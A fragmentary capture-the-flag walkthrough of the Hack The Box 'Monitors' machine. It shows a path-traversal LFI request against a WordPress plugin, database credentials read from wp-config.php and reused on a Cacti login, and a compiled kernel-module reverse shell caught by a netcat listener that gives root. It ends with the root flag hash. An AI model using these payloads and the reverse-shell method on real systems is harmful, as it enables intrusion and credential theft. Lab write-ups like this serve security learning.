// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' );
/** MySQL database username */ define( 'DB_USER', 'wpadmin' );
/** MySQL database password */ define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
/** MySQL hostname */ define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' );
Got the username and password now let’s try to login with this creads.
We can’t login with these creads. Now let’s try to get /var/log/apache2/access.log.
But we don’t have permission to list the access.log.
After that i found an another way to list the access.log.
BugBounty — “Journey from LFI to RCE!!!”-How I was able to get the same in one of the India’s popular property buy/sell company.
After reading,the article I came to know that “/proc/self/fd” provides symbolic shortcut to access-logs and various other system related file. So I tried reading those in search for access logs-
I use burp for that.
Capture the req and send it to intruder.
request:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/fd/1 HTTP/1.1
Host: monitors.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
<VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com
ServerAdmin admin@monitors.htb DocumentRoot /var/www/html Redirect 403 / ErrorDocument 403 "Sorry, direct IP access is not allowed. <br><br>If you are having issues accessing the site then contact the website administrator: admin@monitors.htb" UseCanonicalName Off # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn
# For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Found a new vhost called cacti-admin.monitors.htb.
Let’s add this in /etc/hosts file.
Now let’s go to cacti-admin.monitors.htb.
Got the login page let’s login with wordpress creads which we find in wp-config.php.
root@531ea6f91c39:/root# ls ls Makefile reverse-shell.c root@531ea6f91c39:/root# export PATH=$PATH/usr/lib/gcc/x86_64-linux-gnu/8/ export PATH=$PATH/usr/lib/gcc/x86_64-linux-gnu/8/ root@531ea6f91c39:/root# make clean make clean make -C /lib/modules/4.15.0-142-generic/build M=/root clean make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic' make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic' root@531ea6f91c39:/root# make all make all make -C /lib/modules/4.15.0-142-generic/build M=/root modules make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic' CC [M] /root/reverse-shell.o Building modules, stage 2. MODPOST 1 modules CC /root/reverse-shell.mod.o LD [M] /root/reverse-shell.ko make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic' root@531ea6f91c39:/root# ls ls Makefile modules.order reverse-shell.ko reverse-shell.mod.o Module.symvers reverse-shell.c reverse-shell.mod.c reverse-shell.o
Before insert the kernel module start your netcat listner on marcus ssh shell.
1 2
marcus@monitors:~$ nc -lnvp 4443 Listening on [0.0.0.0] (family 0, port 4443)
marcus@monitors:~$ nc -lnvp 4443 Listening on [0.0.0.0] (family 0, port 4443)
Connection from 10.10.10.238 41538 received! bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell root@monitors:/# root@monitors:/# id id uid=0(root) gid=0(root) groups=0(root) root@monitors:/# whoami whoami root root@monitors:/# cat /root/root.txt cat /root/root.txt a58bf869665a6b00d8d31d195d2af59b
Summary of knowledge
WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
use /proc/self/fd from LFI to RCE
SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295)
Apache OFBiz XML-RPC Java Deserialization
privesc via Abusing SYS_MODULE capability
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
